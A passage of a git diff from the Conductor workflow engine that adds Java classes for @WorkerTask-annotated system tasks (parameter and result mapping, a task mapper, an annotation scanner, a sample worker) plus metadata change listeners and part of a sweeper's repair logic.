log.error("Error running sweep for {}, error = {}", workflowId, e.getMessage(), e); + } finally { + executionLockService.releaseLock(workflowId); + } + } + + private void repairSubWorkflowTask(TaskModel task, WorkflowModel subWorkflow) { + switch (subWorkflow.getStatus()) { + case COMPLETED: + task.setStatus(TaskModel.Status.COMPLETED); + break; + case FAILED: + task.setStatus(TaskModel.Status.FAILED); + break; + case TERMINATED: + task.setStatus(TaskModel.Status.CANCELED); + break; + case TIMED_OUT: + task.setStatus(TaskModel.Status.TIMED_OUT); + break; + default: + log.warn( + "Skipping repair for sub workflow task {} in workflow {} because sub workflow {} has unsupported terminal status {}", + task.getTaskId(), + task.getWorkflowInstanceId(), + task.getSubWorkflowId(), + subWorkflow.getStatus()); + return; + } + task.addOutput(subWorkflow.getOutput()); + executionDAO.updateTask(task); + } + + private void forceSetLastTaskAsNotExecuted(WorkflowModel workflow) { + if (workflow.getTasks() != null && !workflow.getTasks().isEmpty()) { + TaskModel taskModel = workflow.getTasks().getLast(); + log.warn( + "Force setting isExecuted to false for last task - {} - {} - {} - {} for workflow {}", + taskModel.getTaskId(), + taskModel.getReferenceTaskName(), + taskModel.getStatus(), + taskModel.getTaskDefName(), + taskModel.getWorkflowInstanceId()); + try { + log.debug( + "workflow {} JSON {}", + workflow.getWorkflowId(), + objectMapper.writeValueAsString(workflow)); + } catch (Exception e) { + log.error("Could not warn about workflow {}", workflow.getWorkflowId(), e); + } + taskModel.setExecuted(false); + executionDAO.updateWorkflow(workflow); + } + } + + private void ensureWorkflowExistsInDecider(String workflowId) { + String queueName = Utils.DECIDER_QUEUE; + if (!queueDAO.containsMessage(queueName, workflowId)) { + queueDAO.push(queueName, workflowId, worflowOffsetTimeout.getSeconds()); + Monitors.recordQueueMessageRepushFromRepairService(queueName); + } + } + + private void sleepWhenIdle() { + long sleepMillis = Math.max(10, sweeperProperties.getQueuePopTimeout()); + try { + Thread.sleep(sleepMillis); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + } + + @Override + public void doStop() { + stop.set(true); + ((ExecutorService) this.sweeperExecutor).shutdownNow(); + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/mapper/AnnotatedSystemTaskMapper.java b/core/src/main/java/org/conductoross/conductor/core/execution/mapper/AnnotatedSystemTaskMapper.java new file mode 100644 index 0000000..3eb212d --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/mapper/AnnotatedSystemTaskMapper.java @@ -0,0 +1,97 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.mapper; + +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.mapper.TaskMapper; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import lombok.extern.slf4j.Slf4j; + +/** + * TaskMapper for @WorkerTask annotated system tasks. Unlike user-defined tasks, annotated system + * tasks do not require a task definition and can be scheduled directly from the workflow + * definition. If a task definition exists, it will be used for rate limiting and other settings. + */ +@Slf4j +public class AnnotatedSystemTaskMapper implements TaskMapper { + + private final String taskType; + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public AnnotatedSystemTaskMapper( + String taskType, ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.taskType = taskType; + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return taskType; + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + log.info("TaskMapper for {}", taskType); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + int retryCount = taskMapperContext.getRetryCount(); + String retriedTaskId = taskMapperContext.getRetryTaskId(); + + // Try to get task definition - don't fail if not found (unlike + // SimpleTaskMapper) + TaskDef taskDefinition = + Optional.ofNullable(workflowTask.getTaskDefinition()) + .orElseGet(() -> metadataDAO.getTaskDef(workflowTask.getName())); + + // Get input - pass taskDefinition (may be null) + Map input = + parametersUtils.getTaskInput( + workflowTask.getInputParameters(), + workflowModel, + taskDefinition, + taskMapperContext.getTaskId()); + + // Create task model + TaskModel task = taskMapperContext.createTaskModel(); + task.setTaskType(taskType); + task.setStartDelayInSeconds(workflowTask.getStartDelay()); + task.setInputData(input); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setRetryCount(retryCount); + task.setCallbackAfterSeconds(workflowTask.getStartDelay()); + task.setRetriedTaskId(retriedTaskId); + + // If task definition exists, use its settings for rate limiting etc. + if (Objects.nonNull(taskDefinition)) { + task.setResponseTimeoutSeconds(taskDefinition.getResponseTimeoutSeconds()); + task.setRateLimitPerFrequency(taskDefinition.getRateLimitPerFrequency()); + task.setRateLimitFrequencyInSeconds(taskDefinition.getRateLimitFrequencyInSeconds()); + } + + return List.of(task); + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/mapper/TaskMapperValidator.java b/core/src/main/java/org/conductoross/conductor/core/execution/mapper/TaskMapperValidator.java new file mode 100644 index 0000000..ada7392 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/mapper/TaskMapperValidator.java @@ -0,0 +1,25 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.mapper; + +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** Used for validating tasks */ +public interface TaskMapperValidator { + + String getTaskType(); + + void validate(WorkflowModel workflow, TaskModel task) throws TerminateWorkflowException; +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedMethodParameterMapper.java b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedMethodParameterMapper.java new file mode 100644 index 0000000..d350e96 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedMethodParameterMapper.java @@ -0,0 +1,150 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import java.lang.annotation.Annotation; +import java.lang.reflect.Method; +import java.lang.reflect.Parameter; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; +import com.netflix.conductor.sdk.workflow.task.InputParam; + +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.ObjectMapper; + +// Annotations copied from java-sdk to avoid external dependency + +/** + * Utility class for mapping TaskModel parameters to method invocation parameters for @WorkerTask + * annotated methods. + */ +public class AnnotatedMethodParameterMapper { + + private final ObjectMapper objectMapper; + + public AnnotatedMethodParameterMapper() { + this.objectMapper = new ObjectMapperProvider().getObjectMapper(); + this.objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); + } + + /** + * Maps a TaskModel to the parameters required by the annotated method. + * + * @param task The task model to map from + * @param method The method to map parameters for + * @return Array of parameter values ready for method invocation + */ + public Object[] mapParameters(TaskModel task, Method method) { + Class[] parameterTypes = method.getParameterTypes(); + Parameter[] parameters = method.getParameters(); + + // Special case: single TaskModel parameter + if (parameterTypes.length == 1 && parameterTypes[0].equals(TaskModel.class)) { + return new Object[] {task}; + } + + // Special case: single Map parameter (task input data) + if (parameterTypes.length == 1 && parameterTypes[0].equals(Map.class)) { + return new Object[] {task.getInputData()}; + } + + // General case: may have @InputParam, @WorkflowInstanceIdInputParam, or plain + // types + return mapAnnotatedParameters(task, parameterTypes, parameters, method); + } + + private Object[] mapAnnotatedParameters( + TaskModel task, Class[] parameterTypes, Parameter[] parameters, Method method) { + Annotation[][] parameterAnnotations = method.getParameterAnnotations(); + Object[] values = new Object[parameterTypes.length]; + + for (int i = 0; i < parameterTypes.length; i++) { + Class parameterType = parameterTypes[i]; + + if (parameterType.equals(TaskContext.class)) { + values[i] = TaskContext.get(); + continue; + } + + Annotation[] paramAnnotation = parameterAnnotations[i]; + + // WorkflowInstanceIdInputParam not available in SDK v3.x - uncomment when + // upgrading + // if (containsWorkflowInstanceIdInputParamAnnotation(paramAnnotation)) { + // validateParameterForWorkflowInstanceId(parameters[i]); + // values[i] = task.getWorkflowInstanceId(); + // } else + if (paramAnnotation.length > 0) { + Type type = parameters[i].getParameterizedType(); + values[i] = getInputValue(task, parameterType, type, paramAnnotation); + } else { + // No annotation - convert entire input data to parameter type + values[i] = objectMapper.convertValue(task.getInputData(), parameterTypes[i]); + } + } + + return values; + } + + private Object getInputValue( + TaskModel task, Class parameterType, Type type, Annotation[] paramAnnotation) { + InputParam ip = findInputParamAnnotation(paramAnnotation); + + if (ip == null) { + return objectMapper.convertValue(task.getInputData(), parameterType); + } + + final String name = ip.value(); + final Object value = task.getInputData().get(name); + if (value == null) { + return null; + } + + if (List.class.isAssignableFrom(parameterType)) { + return convertToParameterizedList(value, type); + } else { + return objectMapper.convertValue(value, parameterType); + } + } + + private Object convertToParameterizedList(Object value, Type type) { + List list = objectMapper.convertValue(value, List.class); + if (type instanceof ParameterizedType) { + ParameterizedType parameterizedType = (ParameterizedType) type; + Class typeOfParameter = (Class) parameterizedType.getActualTypeArguments()[0]; + List parameterizedList = new ArrayList<>(); + for (Object item : list) { + parameterizedList.add(objectMapper.convertValue(item, typeOfParameter)); + } + return parameterizedList; + } else { + return list; + } + } + + private static InputParam findInputParamAnnotation(Annotation[] paramAnnotation) { + return (InputParam) + Arrays.stream(paramAnnotation) + .filter(ann -> ann.annotationType().equals(InputParam.class)) + .findFirst() + .orElse(null); + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedMethodResultMapper.java b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedMethodResultMapper.java new file mode 100644 index 0000000..6b1c8c7 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedMethodResultMapper.java @@ -0,0 +1,109 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import java.lang.reflect.Method; +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.sdk.workflow.task.OutputParam; + +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; + +/** + * Utility class for mapping method return values to TaskModel status and output data + * for @WorkerTask annotated methods. + */ +@Slf4j +public class AnnotatedMethodResultMapper { + + private final ObjectMapper objectMapper; + + public AnnotatedMethodResultMapper() { + this.objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + /** + * Applies the method invocation result to the task model. + * + * @param invocationResult The result returned from the method invocation + * @param task The task model to update + * @param method The method that was invoked + */ + public void applyResult(Object invocationResult, TaskModel task, Method method) { + log.debug( + "annotated task {} invocationResult {} with status {}", + task.getTaskType(), + invocationResult, + task.getStatus()); + + if (invocationResult == null) { + task.setStatus(TaskModel.Status.COMPLETED); + return; + } + + OutputParam opAnnotation = method.getAnnotatedReturnType().getAnnotation(OutputParam.class); + + if (opAnnotation != null) { + // Return value should be placed in a named output parameter + String name = opAnnotation.value(); + task.getOutputData().put(name, invocationResult); + task.setStatus(TaskModel.Status.COMPLETED); + + } else if (invocationResult instanceof TaskResult) { + TaskResult result = objectMapper.convertValue(invocationResult, TaskResult.class); + task.getOutputData().putAll(result.getOutputData()); + switch (result.getStatus()) { + case FAILED -> task.setStatus(TaskModel.Status.FAILED); + case COMPLETED -> task.setStatus(TaskModel.Status.COMPLETED); + case FAILED_WITH_TERMINAL_ERROR -> + task.setStatus(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR); + case IN_PROGRESS -> task.setStatus(TaskModel.Status.IN_PROGRESS); + } + task.setCallbackAfterSeconds(result.getCallbackAfterSeconds()); + } else if (invocationResult instanceof Map) { + // Return Map becomes output data + @SuppressWarnings("unchecked") + Map resultAsMap = (Map) invocationResult; + task.getOutputData().putAll(resultAsMap); + task.setStatus(TaskModel.Status.COMPLETED); + + } else if (isPrimitive(invocationResult)) { + // Primitives (String, Number, Boolean) go into "result" key + task.getOutputData().put("result", invocationResult); + task.setStatus(TaskModel.Status.COMPLETED); + + } else if (invocationResult instanceof List) { + // Lists are converted and placed in "result" key + List resultAsList = objectMapper.convertValue(invocationResult, List.class); + task.getOutputData().put("result", resultAsList); + task.setStatus(TaskModel.Status.COMPLETED); + + } else { + // POJOs are converted to Map and merged into output data + @SuppressWarnings("unchecked") + Map resultAsMap = + objectMapper.convertValue(invocationResult, Map.class); + task.getOutputData().putAll(resultAsMap); + task.setStatus(TaskModel.Status.COMPLETED); + } + } + + private boolean isPrimitive(Object value) { + return value instanceof String || value instanceof Number || value instanceof Boolean; + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedWorkflowSystemTask.java b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedWorkflowSystemTask.java new file mode 100644 index 0000000..922717a --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedWorkflowSystemTask.java @@ -0,0 +1,163 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Optional; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.sdk.workflow.executor.task.NonRetryableException; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; + +/** + * Adapter that wraps a @WorkerTask annotated method as a WorkflowSystemTask. This enables + * annotation-based system task development while maintaining compatibility with the existing + * SystemTaskWorkerCoordinator infrastructure. + */ +@Slf4j +public class AnnotatedWorkflowSystemTask extends WorkflowSystemTask { + + @Getter private final Method method; + + @Getter private final Object bean; + + @Getter private final WorkerTask annotation; + + private final AnnotatedMethodParameterMapper parameterMapper; + + private final AnnotatedMethodResultMapper resultMapper; + + /** + * Creates a new AnnotatedWorkflowSystemTask. + * + * @param taskType The task type name + * @param method The annotated method to invoke + * @param bean The Spring bean instance containing the method + * @param annotation The @WorkerTask annotation metadata + */ + public AnnotatedWorkflowSystemTask( + String taskType, Method method, Object bean, WorkerTask annotation) { + super(taskType); + this.method = method; + this.bean = bean; + this.annotation = annotation; + this.parameterMapper = new AnnotatedMethodParameterMapper(); + this.resultMapper = new AnnotatedMethodResultMapper(); + } + + @Override + public boolean isAsync() { + // Always use async polling for annotated tasks + return true; + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + execute(workflow, task, workflowExecutor); + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + TaskContext.set(task.toTask()); + try { + log.debug( + "Executing annotated task {} for workflow {}", + getTaskType(), + workflow.getWorkflowId()); + + // Map task parameters to method parameters + Object[] parameters = parameterMapper.mapParameters(task, method); + + // Invoke the annotated method + Object result = method.invoke(bean, parameters); + + // Apply the result to the task + resultMapper.applyResult(result, task, method); + + log.debug( + "Completed annotated task {} with status {}", getTaskType(), task.getStatus()); + + return true; + + } catch (InvocationTargetException e) { + handleInvocationException(task, e); + return true; + } catch (Exception e) { + log.error("error executing annotated task " + getTaskType(), e); + task.setStatus(TaskModel.Status.FAILED); + task.setReasonForIncompletion(getRootCauseMessage(e)); + return true; + } finally { + TaskContext.clear(); + } + } + + private void handleInvocationException(TaskModel task, InvocationTargetException e) { + Throwable cause = e.getCause(); + + log.error("Error executing annotated task " + getTaskType(), cause); + + String message = getRootCauseMessage(cause); + if (cause instanceof NonRetryableException) { + task.setStatus(TaskModel.Status.FAILED_WITH_TERMINAL_ERROR); + task.setReasonForIncompletion("Non-retryable error: " + message); + } else { + task.setStatus(TaskModel.Status.FAILED); + task.setReasonForIncompletion("Task execution failed: " + message); + } + } + + /** + * Walk the exception cause chain to build a message that includes the root cause. This prevents + * wrapper exceptions (e.g. "Failed to generate content") from hiding the actual error (e.g. + * "404: This model is no longer available"). + */ + private String getRootCauseMessage(Throwable t) { + if (t == null) return "unknown error"; + Throwable root = t; + while (root.getCause() != null && root.getCause() != root) { + root = root.getCause(); + } + if (root == t) { + return t.getMessage(); + } + return t.getMessage() + " — caused by: " + root.getMessage(); + } + + @Override + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + // Default implementation - annotated tasks typically don't need custom cancel + // logic + log.debug( + "Cancelling annotated task {} for workflow {}", + getTaskType(), + workflow.getWorkflowId()); + task.setStatus(TaskModel.Status.CANCELED); + } + + @Override + public Optional getEvaluationOffset(TaskModel taskModel, long maxOffset) { + return taskModel.getCallbackAfterSeconds() > 0 + ? Optional.of(taskModel.getCallbackAfterSeconds()) + : Optional.empty(); + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/SampleWorkers.java b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/SampleWorkers.java new file mode 100644 index 0000000..0a60fcc --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/SampleWorkers.java @@ -0,0 +1,29 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; +import com.netflix.conductor.sdk.workflow.task.InputParam; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +@Component +public class SampleWorkers { + + @WorkerTask("HELLO") + public String hello(@InputParam("name") String name) { + return "Hello %s, from the sample worker, with id: %s" + .formatted(name, TaskContext.get().getTaskId()); + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/WorkerTaskAnnotationScanner.java b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/WorkerTaskAnnotationScanner.java new file mode 100644 index 0000000..079a709 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/WorkerTaskAnnotationScanner.java @@ -0,0 +1,135 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.execution.tasks.annotated; + +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.conductoross.conductor.core.execution.mapper.AnnotatedSystemTaskMapper; +import org.conductoross.conductor.core.execution.tasks.AnnotatedSystemTaskWorker; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.InitializingBean; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Lazy; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.mapper.TaskMapper; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +/** + * Spring component that scans for @WorkerTask annotated methods in Spring beans and adds them to + * the existing asyncSystemTasks collection and taskMappersByTaskType map. + */ +@Component +public class WorkerTaskAnnotationScanner implements InitializingBean { + + private static final Logger LOGGER = LoggerFactory.getLogger(WorkerTaskAnnotationScanner.class); + + private final List annotatedSystemTaskWorkers; + private final Set asyncSystemTasks; + private final Map taskMappers = new HashMap<>(); + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public WorkerTaskAnnotationScanner( + List annotatedSystemTaskWorkers, + @Qualifier(SystemTaskRegistry.ASYNC_SYSTEM_TASKS_QUALIFIER) + Set asyncSystemTasks, + @Lazy ParametersUtils parametersUtils, + @Lazy MetadataDAO metadataDAO) { + this.annotatedSystemTaskWorkers = annotatedSystemTaskWorkers; + this.asyncSystemTasks = asyncSystemTasks; + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + /** + * Scans all Spring beans for @WorkerTask annotated methods and adds them to the + * asyncSystemTasks collection. Also registers a TaskMapper for each annotated task type. + */ + @Override + public void afterPropertiesSet() { + long startTime = System.currentTimeMillis(); + + int scannedBeans = 0; + int foundMethods = 0; + + for (Object bean : annotatedSystemTaskWorkers) { + + Class beanClass = bean.getClass(); + String beanName = beanClass.getSimpleName(); + try { + + scannedBeans++; + + // Scan all public methods for @WorkerTask annotation + for (Method method : beanClass.getMethods()) { + WorkerTask annotation = method.getAnnotation(WorkerTask.class); + if (annotation != null) { + String taskType = annotation.value(); + + LOGGER.info( + "Found @WorkerTask method: {} in bean {} with taskType={}", + method.getName(), + beanName, + taskType); + + AnnotatedWorkflowSystemTask task = + new AnnotatedWorkflowSystemTask(taskType, method, bean, annotation); + + // Add to existing asyncSystemTasks collection + asyncSystemTasks.add(task); + + // Register a TaskMapper for this task type so DeciderService can find it + AnnotatedSystemTaskMapper mapper = + new AnnotatedSystemTaskMapper( + taskType, parametersUtils, metadataDAO); + LOGGER.info("Adding task mapper {} for task {}", mapper, taskType); + taskMappers.put(taskType, mapper); + + LOGGER.debug("Registered TaskMapper for annotated task type: {}", taskType); + foundMethods++; + } + } + } catch (Exception e) { + // Skip beans that can't be instantiated or scanned + LOGGER.debug( + "Skipping bean {} during @WorkerTask scanning: {}", + beanName, + e.getMessage()); + } + } + + long durationMs = System.currentTimeMillis() - startTime; + LOGGER.info( + "Completed @WorkerTask scanning in {}ms. Scanned {} beans, found {} annotated methods", + durationMs, + scannedBeans, + foundMethods); + } + + @Qualifier("annotatedTaskSystems") + @Bean + public Map annotatedTaskSystems() { + return taskMappers; + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/listener/MetadataChangeListener.java b/core/src/main/java/org/conductoross/conductor/core/listener/MetadataChangeListener.java new file mode 100644 index 0000000..ade2606 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/listener/MetadataChangeListener.java @@ -0,0 +1,39 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.listener; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +/** Listener for metadata changes: workflow definitions, task definitions, and event handlers. */ +public interface MetadataChangeListener { + + default void onWorkflowDefRegistered(WorkflowDef workflowDef) {} + + default void onWorkflowDefUpdated(WorkflowDef workflowDef) {} + + default void onWorkflowDefUnregistered(String name, int version) {} + + default void onTaskDefRegistered(TaskDef taskDef) {} + + default void onTaskDefUpdated(TaskDef taskDef) {} + + default void onTaskDefUnregistered(String taskType) {} + + default void onEventHandlerRegistered(EventHandler eventHandler) {} + + default void onEventHandlerUpdated(EventHandler eventHandler) {} + + default void onEventHandlerUnregistered(String name) {} +} diff --git a/core/src/main/java/org/conductoross/conductor/core/listener/MetadataChangeListenerStub.java b/core/src/main/java/org/conductoross/conductor/core/listener/MetadataChangeListenerStub.java new file mode 100644 index 0000000..fff8253 --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/listener/MetadataChangeListenerStub.java @@ -0,0 +1,77 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.core.listener; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +/** Stub listener default implementation. Logs each metadata change at debug level. */ +public class MetadataChangeListenerStub implements MetadataChangeListener { + + private static final Logger LOGGER = LoggerFactory.getLogger(MetadataChangeListenerStub.class); + + @Override + public void onWorkflowDefRegistered(WorkflowDef workflowDef) { + LOGGER.debug( + "Workflow def {} version {} registered", + workflowDef.getName(), + workflowDef.getVersion()); + } + + @Override + public void onWorkflowDefUpdated(WorkflowDef workflowDef) { + LOGGER.debug( + "Workflow def {} version {} updated", + workflowDef.getName(), + workflowDef.getVersion()); + } + + @Override + public void onWorkflowDefUnregistered(String name, int version) { + LOGGER.debug("Workflow def {} version {} unregistered", name, version); + } + + @Override + public void onTaskDefRegistered(TaskDef taskDef) { + LOGGER.debug("Task def {} registered", taskDef.getName()); + } + + @Override + public void onTaskDefUpdated(TaskDef taskDef) { + LOGGER.debug("Task def {} updated", taskDef.getName()); + } + + @Override + public void onTaskDefUnregistered(String taskType) { + LOGGER.debug("Task def {} unregistered", taskType); + } + + @Override + public void onEventHandlerRegistered(EventHandler eventHandler) { + LOGGER.debug("Event handler {} registered", eventHandler.getName()); + } + + @Override + public void onEventHandlerUpdated(EventHandler eventHandler) { + LOGGER.debug("Event handler {} updated", eventHandler.getName()); + } + + @Override + public void onEventHandlerUnregistered(String name) { + LOGGER.debug("Event handler {} unregistered", name); + } +} diff --git a/core/src/main/java/org/conductoross/conductor/core/storage/FileStorage.java b/core/src/main/java/org/conductoross/conductor/core/storage/FileStorage.java new file mode 100644 index 0000000..2fce3ad --- /dev/null +++ b/core/src/main/java/org/conductoross/conductor/core/storage/FileStorage.java @@ -0,0 +1,68 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

